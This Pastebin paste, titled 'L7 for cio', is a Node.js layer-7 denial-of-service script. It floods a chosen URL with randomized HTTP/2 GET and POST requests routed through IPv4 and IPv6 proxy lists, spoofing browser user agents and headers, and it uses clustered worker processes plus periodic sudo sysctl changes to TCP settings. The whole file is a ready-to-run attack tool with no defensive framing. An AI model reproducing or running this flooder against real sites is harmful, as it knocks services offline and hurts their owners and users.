Guest User

L7 for cio

a guest
May 19th, 2024
845
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.55 KB | None | 0 0
  1. const http = require('http');
  2. const tls = require('tls');
  3. const cluster = require('cluster');
  4. const fs = require('fs');
  5. const os = require('os');
  6. const http2 = require('http2-wrapper');
  7. const crypto = require('crypto');
  8. const { exec } = require('child_process');
  9. const HPACK = require('hpack');
  10.  
  11. require("events").EventEmitter.defaultMaxListeners = Number.MAX_VALUE;
  12. process.setMaxListeners(0);
  13.  
  14. process.on('uncaughtException', (e) => console.log(e));
  15. process.on('unhandledRejection', (e) => console.log(e));
  16.  
  17. const target = process.argv[2];
  18. const time = process.argv[3];
  19. const threads = process.argv[4];
  20. const ratelimit = 9;
  21. const proxyfile_ipv4 = process.argv[5];
  22. const proxyfile_ipv6 = process.argv[6];
  23.  
  24. if (!target || !time || !threads || !proxyfile_ipv4 || !proxyfile_ipv6) {
  25. console.error(`Usage: node ${process.argv[1]} <target> <time> <threads> <proxyfile_ipv4> <proxyfile_ipv6>`);
  26. process.exit(1);
  27. }
  28.  
  29. const url = new URL(target);
  30. const proxies_ipv4 = fs.readFileSync(proxyfile_ipv4, 'utf-8').toString().replace(/\r/g, '').split('\n');
  31. const proxies_ipv6 = fs.readFileSync(proxyfile_ipv6, 'utf-8').toString().replace(/\r/g, '').split('\n');
  32.  
  33. const userAgents = [
  34. 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36',
  35. 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36',
  36. 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0',
  37. 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:101.0) Gecko/20100101 Firefox/101.0',
  38. 'Mozilla/5.0 (iPhone; CPU iPhone OS 14_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Mobile/15A372 Safari/604.1',
  39. 'Mozilla/5.0 (Linux; Android 10; SM-G975F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.72 Mobile Safari/537.36',
  40. ];
  41.  
  42. const getRandomUserAgent = () => userAgents[Math.floor(Math.random() * userAgents.length)];
  43. const getRandomChar = () => 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'[Math.floor(Math.random() * 62)];
  44. const generateRandomString = (length) => Array.from({ length }, () => getRandomChar()).join('');
  45.  
  46. const randomizeHeaders = () => {
  47. return {
  48. "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
  49. "Accept-Encoding": "gzip, deflate, br",
  50. "Accept-Language": "en-US,en;q=0.9",
  51. "Cache-Control": "max-age=0",
  52. "Connection": "keep-alive",
  53. "Upgrade-Insecure-Requests": "1",
  54. "User-Agent": getRandomUserAgent(),
  55. [`Header-${getRandomChar()}`]: generateRandomString(10)
  56. };
  57. };
  58.  
  59. const performHttpAttack = async (proxyHost, proxyPort, agent, url, settings, sessionOptions, headers, method, postData = null) => {
  60. const request = http.get({
  61. method: 'CONNECT',
  62. host: proxyHost,
  63. port: proxyPort,
  64. agent,
  65. path: `${url.host}:443`,
  66. headers: { 'Proxy-Connection': 'Keep-Alive' },
  67. rejectUnauthorized: true,
  68. });
  69.  
  70. request.on('error', request.destroy);
  71.  
  72. request.on('connect', (res, socket, { head }) => {
  73. if (head?.length) return socket.destroy();
  74.  
  75. const session = http2.connect(`https://${url.host}`, {
  76. ...sessionOptions,
  77. createConnection: (authority, option) => tls.connect({
  78. ...option,
  79. socket,
  80. ALPNProtocols: ['h2'],
  81. servername: url.host,
  82. ciphers: 'TLS_AES_128_GCM_SHA256:TLS_AES_256_GCM_SHA384:TLS_CHACHA20_POLY1305_SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384',
  83. sigalgs: 'ecdsa_secp256r1_sha256:rsa_pss_rsae_sha256:rsa_pkcs1_sha256',
  84. secureOptions: crypto.constants.SSL_OP_NO_RENEGOTIATION | crypto.constants.SSL_OP_NO_TICKET | crypto.constants.SSL_OP_NO_SSLv2 | crypto.constants.SSL_OP_NO_SSLv3 | crypto.constants.SSL_OP_NO_COMPRESSION | crypto.constants.SSL_OP_NO_RENEGOTIATION | crypto.constants.SSL_OP_ALLOW_UNSAFE_LEGACY_RENEGOTIATION | crypto.constants.SSL_OP_TLSEXT_PADDING | crypto.constants.SSL_OP_ALL | crypto.constants.SSLcom,
  85. session: crypto.randomBytes(64),
  86. secure: true,
  87. rejectUnauthorized: false
  88. }),
  89. });
  90.  
  91. session.on('error', () => session.destroy());
  92.  
  93. session.on('connect', () => {
  94. Array.from({ length: ratelimit }).forEach((_, index) => {
  95. const reqHeaders = { ...headers, ':method': method, ':path': url.pathname };
  96. if (method === 'POST') {
  97. reqHeaders['Content-Length'] = postData.length;
  98. }
  99.  
  100. const req = session.request(reqHeaders);
  101. req.setEncoding('utf8');
  102. req.on('response', (headers, flags) => {
  103. console.log('Status Code:', headers[':status']);
  104. });
  105. req.on('end', () => req.destroy());
  106. req.on('error', (err) => console.error('Request Error:', err));
  107. req.end(postData);
  108. });
  109. });
  110. });
  111.  
  112. request.end();
  113. };
  114.  
  115. const TCP_CHANGES_SERVER = () => {
  116. const congestionControlOptions = ['cubic', 'reno', 'bbr', 'dctcp', 'hybla'];
  117. const sackOptions = ['1', '0'];
  118. const windowScalingOptions = ['1', '0'];
  119. const timestampsOptions = ['1', '0'];
  120. const selectiveAckOptions = ['1', '0'];
  121. const tcpFastOpenOptions = ['3', '2', '1', '0'];
  122.  
  123. const congestionControl = congestionControlOptions[Math.floor(Math.random() * congestionControlOptions.length)];
  124. const sack = sackOptions[Math.floor(Math.random() * sackOptions.length)];
  125. const windowScaling = windowScalingOptions[Math.floor(Math.random() * windowScalingOptions.length)];
  126. const timestamps = timestampsOptions[Math.floor(Math.random() * timestampsOptions.length)];
  127. const selectiveAck = selectiveAckOptions[Math.floor(Math.random() * selectiveAckOptions.length)];
  128. const tcpFastOpen = tcpFastOpenOptions[Math.floor(Math.random() * tcpFastOpenOptions.length)];
  129.  
  130. const command = `sudo sysctl -w net.ipv4.tcp_congestion_control=${congestionControl} \
  131. net.ipv4.tcp_sack=${sack} \
  132. net.ipv4.tcp_window_scaling=${windowScaling} \
  133. net.ipv4.tcp_timestamps=${timestamps} \
  134. net.ipv4.tcp_sack=${selectiveAck} \
  135. net.ipv4.tcp_fastopen=${tcpFastOpen}`;
  136.  
  137. exec(command, () => { });
  138. };
  139.  
  140. if (cluster.isMaster) {
  141. Array.from({ length: threads }, (_, i) => cluster.fork({ core: i % os.cpus().length }));
  142. cluster.on('exit', (worker) => {
  143. cluster.fork({ core: worker.id % os.cpus().length });
  144. });
  145. setInterval(TCP_CHANGES_SERVER, 5000);
  146. setTimeout(() => process.exit(1), time * 1000);
  147. } else {
  148. setInterval(() => {
  149. const proxyList = Math.random() < 0.5 ? proxies_ipv4 : proxies_ipv6;
  150. const [proxyHost, proxyPort] = proxyList[Math.floor(Math.random() * proxyList.length)].split(':');
  151. const agent = new http.Agent({
  152. keepAlive: true,
  153. keepAliveMsecs: 50000,
  154. maxSockets: Infinity,
  155. maxFreeSockets: Infinity,
  156. maxTotalSockets: Infinity,
  157. timeout: time * 1000,
  158. });
  159. const settings = {
  160. createConnection: (authority, option) => tls.connect({
  161. ...option,
  162. ALPNProtocols: ['h2', 'http/1.1'],
  163. servername: url.host,
  164. ciphers: 'TLS_AES_128_GCM_SHA256:TLS_AES_256_GCM_SHA384:TLS_CHACHA20_POLY1305_SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384',
  165. sigalgs: 'ecdsa_secp256r1_sha256:rsa_pss_rsae_sha256:rsa_pkcs1_sha256',
  166. secureOptions: crypto.constants.SSL_OP_NO_RENEGOTIATION | crypto.constants.SSL_OP_NO_TICKET | crypto.constants.SSL_OP_NO_SSLv2 | crypto.constants.SSL_OP_NO_SSLv3 | crypto.constants.SSL_OP_NO_COMPRESSION | crypto.constants.SSL_OP_NO_RENEGOTIATION | crypto.constants.SSL_OP_ALLOW_UNSAFE_LEGACY_RENEGOTIATION | crypto.constants.SSL_OP_TLSEXT_PADDING | crypto.constants.SSL_OP_ALL | crypto.constants.SSLcom,
  167. session: crypto.randomBytes(64),
  168. secure: true,
  169. rejectUnauthorized: false
  170. }),
  171. };
  172.  
  173. const headers = randomizeHeaders();
  174. const method = Math.random() < 0.5 ? 'GET' : 'POST';
  175. const postData = method === 'POST' ? generateRandomString(50) : null;
  176.  
  177. performHttpAttack(proxyHost, proxyPort, agent, url, settings, {}, headers, method, postData);
  178. }, 1000 / ratelimit);
  179. }
  180.  
Advertisement
Add Comment
Please, Sign In to add comment